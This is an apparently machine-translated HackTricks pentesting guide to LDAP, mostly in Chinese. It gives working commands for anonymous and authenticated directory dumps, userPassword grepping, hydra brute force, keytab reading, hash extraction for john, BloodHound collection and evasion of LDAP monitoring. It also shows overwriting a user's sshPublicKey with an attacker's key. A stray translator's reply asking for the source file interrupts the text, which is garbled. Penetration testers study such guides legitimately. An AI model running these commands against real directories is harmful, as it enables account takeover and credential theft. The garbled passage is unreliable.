18 KiB
Raw Blame History

389, 636, 3268, 3269 - Pentesting LDAP

{{#include ../banners/hacktricks-training.md}}

The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

LDAP 目录的用途主要是用于在公共和私有网络中定位各种实体,例如组织、个人,以及文件和设备等资源。与其前身 DAP 相比,它通过更小的代码体积提供了更简洁的实现。

LDAP directories are structured to allow their distribution across several servers, with each server housing a replicated and synchronized version of the directory, referred to as a Directory System Agent (DSA). Responsibility for handling requests lies entirely with the LDAP server, which may communicate with other DSAs as needed to deliver a unified response to the requester.

LDAP 目录的结构允许其分布在多台服务器上,每台服务器都保存着目录的 复制同步 版本,称为 Directory System Agent (DSA)。处理请求的责任完全由 LDAP 服务器承担,服务器在需要时会与其他 DSA 通信,以向请求者提供统一的响应。

The LDAP directory's organization resembles a tree hierarchy, starting with the root directory at the top. This branches down to countries, which further divide into organizations, and then to organizational units representing various divisions or departments, finally reaching the individual entities level, including both people and shared resources like files and printers.

LDAP 目录的组织类似于一个 树状层级,从顶部的根目录开始。它向下分支到国家,进一步划分为组织,然后到表示各个部门或科室的组织单元,最终到达个体实体层级,包括人员以及诸如文件和打印机等共享资源。

Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.

默认端口: 389 和 636 (ldaps)。Global Catalog (LDAP in ActiveDirectory) 默认使用端口 3268LDAPS 则为 3269。

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP 数据交换格式

LDIF (LDAP Data Interchange Format) 将目录内容定义为一组记录。它也可以表示更新请求Add、Modify、Delete、Rename

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • 第1-3行定义顶级域 local
  • 第5-8行定义第一级域 moneycorp (moneycorp.local)
  • 第10-16行定义两个组织单元dev 和 sales
  • 第18-26行创建域对象并为属性赋值

写入数据

注意:如果你能修改这些值,你可能执行一些非常有趣的操作。例如,假设你可以更改用户或任意用户的 "sshPublicKey" 信息。很可能如果存在该属性,那么ssh 是从 LDAP 读取公钥。如果你能修改某用户的公钥,你将能够以该用户身份登录,即使 ssh 没有启用密码认证

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

嗅探明文凭据

如果 LDAP 在没有 SSL 的情况下使用,你可以在网络中嗅探到明文凭据

另外,你可以在 LDAP 服务器和客户端之间的网络中实施 MITM 攻击。在这里你可以进行 Downgrade Attack,使客户端使用明文凭据登录。

如果使用了 SSL,你可以尝试像上面提到的那样进行 MITM,但提供一个伪造的证书,如果用户接受,你就可以将认证方法降级并再次看到凭据。

匿名访问

绕过 TLS SNI 检查

根据 this writeup 仅仅通过使用任意域名(例如 company.com访问 LDAP 服务器,他就能够联系到 LDAP 服务并以匿名用户的身份提取信息:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds 允许 未认证的攻击者 从域中检索信息,例如完整的用户、组、计算机列表、用户帐户属性以及域密码策略。 这是一个 遗留配置,从 Windows Server 2003 起,仅允许已认证用户发起 LDAP 请求。
但是,管理员可能需要 为某个特定应用配置以允许 anonymous binds 并授予了超过预期的访问权限,因而使未认证用户能够访问 AD 中的所有对象。

Anonymous LDAP enumeration with NetExec (null bind)

如果允许 null/anonymous bind你可以直接通过 NetExec 的 LDAP 模块在不使用 creds 的情况下拉取用户、组和属性。 有用的过滤器:

  • (objectClass=*) 用于列举 base DN 下的对象
  • (sAMAccountName=*) 用于收集用户主体

示例:

# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

要查找的内容:

  • sAMAccountName、userPrincipalName
  • memberOf 和 OU 放置位置,用于限定 targeted sprays
  • pwdLastSet时间模式、userAccountControl 标志(例如 disabled、smartcard required 等)

注意:如果不允许 anonymous bind通常会看到一个 Operations error表明需要进行 bind。

有效凭证

如果你有用于登录 LDAP server 的有效凭证,你可以使用以下工具导出有关 Domain Admin 的所有信息:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

枚举

自动化

使用此方法你将能够查看 公开信息 (比如域名):

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

查看使用 python 进行 LDAP 枚举

你可以尝试使用 python 在有凭据或无凭据的情况下枚举 LDAP pip3 install ldap3

首先尝试在无凭据的情况下连接:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

如果响应像前面的示例那样为 True,你可以从以下位置获取 LDAP 服务器的一些 有趣的数据(例如 命名上下文域名

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

一旦你获得了命名上下文,你就可以进行一些更有趣的查询。下面这个简单查询应显示目录中的所有对象:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

或者 dump 整个 ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch 是一个 Python 脚本,可通过 LDAP 查询 枚举 Windows 域中的用户、组和计算机

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

检查 null credentials 或者你的凭据是否有效:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

如果你发现有提示 "bind must be completed",那就意味着凭证不正确。

你可以使用以下命令提取整个域的所有内容

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

提取 用户:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

提取 计算机

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

我需要该文件或要提取的具体段落才能翻译。请粘贴 src/network-services-pentesting/pentesting-ldap.md 中的内容或说明要提取的具体部分(例如标题为 "my info" 的段落)。我会按要求把英文翻译成中文,保留所有 markdown/HTML 标签、路径和代码不翻译。

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 管理员:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

要查看你是否有访问任何密码的权限,可以在执行某个查询后使用 grep

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

请注意,这里找到的密码可能并非真实密码...

pbis

你可以从这里下载 pbis: https://github.com/BeyondTrust/pbis-open/ 并且它通常安装在 /opt/pbis.\
Pbis 允许你轻松获取基本信息:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

图形界面

Apache Directory

Download Apache Directory from here。您可以在此处找到如何使用此工具的示例

jxplorer

您可以在此处下载带有 LDAP 服务器的图形界面: http://www.jxplorer.org/downloads/users.html

默认安装在: /opt/jxplorer

Godap

Godap 是一个交互式终端用户界面,用于与 AD 及其他 LDAP 服务器中的对象和属性进行交互。它可用于 Windows、Linux 和 MacOS并支持 simple binds、pass-the-hash、pass-the-ticket & pass-the-cert以及其他若干专用功能例如搜索/创建/更改/删除对象、将用户添加/移除出组、修改密码、编辑对象权限 (DACLs)、修改 Active-Directory Integrated DNS (ADIDNS)、导出为 JSON 文件等。

您可以在 https://github.com/Macmod/godap 访问它。有关用例示例和说明,请参阅 Wiki

Ldapx

Ldapx 是一个灵活的 LDAP 代理,可用于检查并转换来自其他工具的 LDAP 流量。它可用于混淆 LDAP 流量以尝试绕过 identity protection & LDAP monitoring 工具,并实现了 MaLDAPtive 演讲中提出的大多数方法。

您可以从 https://github.com/Macmod/ldapx 获取它。

Authentication via kerberos

使用 ldapsearch,您可以通过参数 -Y GSSAPI 使用 kerberos 进行 认证,而不是通过 NTLM

POST

如果您可以访问包含数据库的文件(可能位于 /var/lib/ldap),您可以使用以下方法提取散列:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

你可以将密码哈希(从 '{SSHA}' 到 'structural',不加入 'structural')提供给 john。

配置文件

  • 通用
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks 自动命令

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

参考资料

{{#include ../banners/hacktricks-training.md}}